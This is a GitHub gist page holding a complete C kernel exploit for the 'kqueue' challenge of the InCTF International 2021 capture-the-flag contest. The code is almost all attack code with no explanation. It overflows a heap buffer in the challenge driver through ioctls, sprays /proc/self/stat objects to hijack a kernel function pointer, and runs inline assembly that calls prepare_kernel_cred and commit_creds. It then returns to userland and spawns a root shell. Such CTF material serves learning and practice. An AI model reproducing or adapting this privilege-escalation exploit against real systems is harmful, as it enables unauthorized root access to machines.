Skip to content

Instantly share code, notes, and snippets.

@PwnVerse

PwnVerse/exp.c Secret

Last active Aug 17, 2021
Embed
What would you like to do?
Exploit for inctfi 2021 - kqueue
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/timerfd.h>
#include <sys/xattr.h>
/* constants for the different commands */
#define CREATE_KQUEUE 0xDEADC0DE
#define EDIT_KQUEUE 0xDAADEEEE
#define DELETE_KQUEUE 0xBADDCAFE
#define SAVE 0xB105BABE
/* Global variables for different purposes */
int fd;
/* eflags */
unsigned long user_cs,user_ss,user_rflags,user_sp;
/* Error Function */
void err(char *msg){
perror(msg);
exit(EXIT_FAILURE);
}
/* Save State */
void save_state(){
__asm__(".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[+] Saved user state");
}
/* Device Open */
void Open(){
fd = open("/dev/kqueue",O_RDWR);
if(fd < 0)
err("[-] Failed to open kqueue");
printf("[+] kqueue at %d\n",fd);
}
/* Interactive functions */
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
void create_kqueue(uint32_t max_entries,uint16_t data_size){
request_t r;
r.max_entries = max_entries;
r.data_size = data_size;
if(ioctl(fd,CREATE_KQUEUE,&r) < 0)
err("[-] failed to create_kqueue");
puts("[+] Add ok");
}
void delete_kqueue(uint16_t queue_idx){
request_t r;
r.queue_idx = queue_idx;
if(ioctl(fd,DELETE_KQUEUE,&r) < 0)
err("[-] failed to delete_kqueue");
puts("[+] Delete ok");
}
void edit_kqueue(uint16_t queue_idx,uint16_t entry_idx,char *data){
request_t r;
r.queue_idx = queue_idx;
r.entry_idx = entry_idx;
r.data = data;
if(ioctl(fd,EDIT_KQUEUE,&r) < 0)
err("[-] failed to edit_kqueue");
puts("[+] Edit ok");
}
void save(uint16_t queue_idx,uint16_t data_size,uint32_t max_entries){
request_t r;
r.queue_idx = queue_idx;
r.max_entries = max_entries;
r.data_size = data_size;
if(ioctl(fd,SAVE,&r) < 0)
err("[-] failed to save");
puts("[+] Save ok");
}
int fds[0x1000] = {0};
void spray(){
for(int i=0;i<0x1000;i++)
fds[i] = open("/proc/self/stat",O_RDONLY);
int fd1 = open("/proc/self/stat",O_RDONLY);
int fd2 = open("/proc/self/stat",O_RDONLY);
close(fd1);
close(fd2);
sleep(1);
puts("[+] Sprayed heap");
}
/* Escalate previleges */
unsigned long user_rip = (unsigned long)get_shell;
void priv_esc(){
asm(".intel_syntax noprefix;"
"add rsp,14;"
"mov rbx,rax;"
"sub rax,1563103;" //prepare kernel cred
"xor rdi,rdi;"
"call rax; mov rdi,rax;"
"mov rax,rbx;"
"sub rax,1564191;" //commit cred
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
void map_page(){
unsigned char *map_page = 0x8948f000;
if (mmap((void *)map_page, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0) == MAP_FAILED){
err("[-] failed to mmap");
}
unsigned short offset = 0xff2;
map_page[0] = 0;
map_page[0x1020] = 0;
map_page[offset++] = (unsigned int)priv_esc & 0xff;
map_page[offset++] = ((unsigned int)priv_esc >> 8) & 0xff;
map_page[offset++] = (unsigned int)priv_esc >> 16;
puts("[+] Map page ready to be used");
}
/* Main */
int main(){
save_state();
Open();
create_kqueue(0xffffffff,0x10);
map_page();
unsigned long overwrite_bytes = 0x209f5f;
unsigned long data[2] = {0,(unsigned long)&overwrite_bytes};
edit_kqueue(0,0,(char *)data);
spray();
save(0,0x10,1);
create_kqueue(0xffffffff,0x20);
spray();
int fdp = open("/proc/self/stat",O_RDONLY);
save(1,3,1);
printf("[+] Filling up space until desired place");
create_kqueue(0x20,0x20);
char rand_data[0x20] = {'\x00'};
memset(rand_data,0x61,0x20);
for(int i=0;i<0x51;i++){
edit_kqueue(2,i,rand_data);
}
save(2,0x20,0x50);
create_kqueue(0x50,0x20);
/* Read and trigger rip */
read(fdp,(char *)data,0x10);
close(fdp);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment